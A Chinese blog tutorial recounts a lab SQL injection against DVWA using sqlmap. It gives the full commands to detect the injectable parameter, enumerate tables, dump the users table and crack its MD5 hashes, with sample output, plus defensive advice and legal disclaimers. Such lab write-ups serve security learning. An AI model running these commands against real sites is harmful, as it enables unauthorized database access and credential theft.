记一次使用Kali Linux中的sqlmap进行SQL注入实战

前言

作为一名网络安全爱好者,我一直对渗透测试工具充满兴趣。尤其是Kali Linux中的各种安全工具,其中sqlmap作为一款强大的自动化SQL注入工具给我留下了深刻印象。本文将记录我使用sqlmap进行一次完整SQL注入测试的过程,最终成功获取数据库中的用户密码。

免责声明:本文仅用于教育目的,所有测试均在授权环境下进行。未经授权的渗透测试是违法行为,请务必遵守法律法规。

环境准备

  • 操作系统:Kali Linux 2023.4

  • 工具:sqlmap (预装在Kali中)

  • 测试目标:一个专门用于安全测试的漏洞演示网站(DVWA)

步骤一:识别注入点

首先,我需要找到一个可能存在SQL注入漏洞的网站。在DVWA中,我选择了"SQL Injection"模块。

bash

# 检查目标URL是否存在注入漏洞
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --batch

参数说明:

  • -u: 指定目标URL

  • --cookie: 提供会话cookie(因为DVWA需要登录)

  • --batch: 使用默认选项,避免交互式提问

步骤二:确认注入点

sqlmap很快返回了结果:

[14:23:45] [INFO] testing connection to the target URL
[14:23:45] [INFO] testing if the target URL content is stable
[14:23:46] [INFO] target URL is stable
[14:23:46] [INFO] testing if GET parameter 'id' is dynamic
[14:23:46] [INFO] confirming that GET parameter 'id' is dynamic
[14:23:46] [INFO] GET parameter 'id' is dynamic
[14:23:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:23:46] [INFO] testing for SQL injection on GET parameter 'id'
[14:23:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:47] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 

结果表明id参数存在基于布尔的盲注漏洞。

步骤三:获取数据库信息

确认注入点后,我开始枚举数据库信息:

bash

# 获取当前数据库名称
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --current-db --batch

输出显示当前数据库为dvwa

bash

# 获取数据库中的所有表
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa --tables --batch

输出中包含了一个名为users的表,这通常包含用户凭证信息。

步骤四:提取用户表数据

bash

# 获取users表的结构
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users --columns --batch

结果显示表中有user_idfirst_namelast_nameuserpassword等列。

bash

# 提取用户和密码数据
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users -C user,password --dump --batch

步骤五:破解哈希密码

sqlmap成功提取了用户凭证:

+---------+--------------------------------------------------+
| user    | password                                         |
+---------+--------------------------------------------------+
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password)      |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)        |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)       |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)       |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password)      |
+---------+--------------------------------------------------+

sqlmap自动识别出这些是MD5哈希,并尝试使用内置字典进行破解,成功破解出了部分密码(括号中为明文)。

步骤六:提升权限(可选)

在实际渗透测试中,获取数据库密码后,可以尝试:

  1. 使用这些凭证登录系统

  2. 检查密码重用情况

  3. 尝试提升权限

防御建议

通过这次测试,我总结了以下几点防御SQL注入的建议:

  1. 使用参数化查询或预处理语句

  2. 实施最小权限原则

  3. 对用户输入进行严格过滤和验证

  4. 使用Web应用防火墙(WAF)

  5. 定期进行安全审计和渗透测试

总结

这次使用sqlmap进行SQL注入测试的经历让我深刻理解了:

  1. SQL注入的危害性

  2. 自动化工具的强大能力

  3. 数据库安全配置的重要性

  4. 密码哈希的必要性

作为防御方,我们应该时刻保持警惕,做好安全防护;作为安全研究人员,我们要不断学习新技术,才能更好地保护系统安全。

再次强调:所有安全测试必须在合法授权范围内进行,未经授权的测试是违法行为。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值